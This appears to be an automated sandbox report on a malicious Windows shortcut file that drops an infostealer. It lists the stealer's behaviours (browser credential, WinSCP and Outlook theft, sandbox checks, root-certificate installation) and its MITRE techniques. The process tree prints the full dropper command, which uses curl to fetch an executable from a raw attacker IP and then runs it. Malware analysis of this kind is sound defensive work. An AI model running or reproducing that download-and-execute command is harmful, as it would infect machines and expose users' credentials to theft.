Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
25/06/2026, 09:49
General
- Target ce39c21fa5fb4c3615bb3c6a6b4f9d7a.lnk
- Size 1KB
- Sample260625-ltlcfaaz5m
- SHA256 f2db8c59456958ba56639e46e9e51cd1a44b46f2e337f3c557ccb15fc6638d86
Malware Config
Signatures
- Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Executes dropped EXE 4 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 2 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 63 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 8 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ce39c21fa5fb4c3615bb3c6a6b4f9d7a.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c curl https://151.244.111.24:44783/20c5cc82-c42f-4572-b51f-d76374a3996e -k -o C:\Users\Admin\AppData\Local\Temp\rd0uystgqoi.exe & start /b C:\Users\Admin\AppData\Local\Temp\rd0uystgqoi.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl https://151.244.111.24:44783/20c5cc82-c42f-4572-b51f-d76374a3996e -k -o C:\Users\Admin\AppData\Local\Temp\rd0uystgqoi.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\rd0uystgqoi.exeC:\Users\Admin\AppData\Local\Temp\rd0uystgqoi.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\boyv7775.exe"C:\Users\Admin\AppData\Roaming\boyv7775.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Roaming\boyv7775.exeC:\Users\Admin\AppData\Roaming\boyv7775.exe1⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Checks processor information in registry
- Enumerates system info in registry
- Modifies system certificate store
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
-
-
C:\Windows\system32\svchost.exe"C:\Windows\system32\svchost.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Modify Registry
1Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
1Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
32985cf652fe45d19c6d0c543968b4d7.dll
rd0uystgqoi.exe
memory/3148-36-0x000002543E790000-0x000002543EA48000-memory.dmp
memory/4288-9-0x0000026533F40000-0x0000026533FE0000-memory.dmp
memory/4288-4-0x00007FF9C2A90000-0x00007FF9C2A91000-memory.dmp
memory/4288-8-0x00007FF99F550000-0x00007FF99FEF4000-memory.dmp
memory/4288-6-0x000002654F610000-0x000002654FBB4000-memory.dmp
memory/4288-10-0x000002654FBB0000-0x000002654FC4E000-memory.dmp
memory/4288-11-0x0000026533FE0000-0x0000026533FF5000-memory.dmp
memory/4288-12-0x00007FF99F550000-0x00007FF99FEF4000-memory.dmp
memory/4288-13-0x00007FF99F550000-0x00007FF99FEF4000-memory.dmp
memory/4288-14-0x00007FF99F550000-0x00007FF99FEF4000-memory.dmp
memory/4288-16-0x00007FF99F550000-0x00007FF99FEF4000-memory.dmp
memory/4288-17-0x00007FF99F550000-0x00007FF99FEF4000-memory.dmp
memory/4288-40-0x00007FF99F550000-0x00007FF99FEF4000-memory.dmp
memory/4288-7-0x00007FF99F550000-0x00007FF99FEF4000-memory.dmp
memory/4288-5-0x00007FF99F6DF000-0x00007FF99F6E0000-memory.dmp
memory/4692-22-0x00000272E4580000-0x00000272E4620000-memory.dmp
memory/4692-21-0x00000272E4390000-0x00000272E4576000-memory.dmp
memory/4692-20-0x00000272E42F0000-0x00000272E4390000-memory.dmp
memory/4692-37-0x00000272E49D0000-0x00000272E4A62000-memory.dmp
memory/4692-38-0x00000272E4AC0000-0x00000272E4B10000-memory.dmp
memory/4692-39-0x00000272E4B10000-0x00000272E4B8A000-memory.dmp
memory/4692-19-0x00000272E4140000-0x00000272E42CE000-memory.dmp
memory/4692-41-0x00000272E4B90000-0x00000272E4BB2000-memory.dmp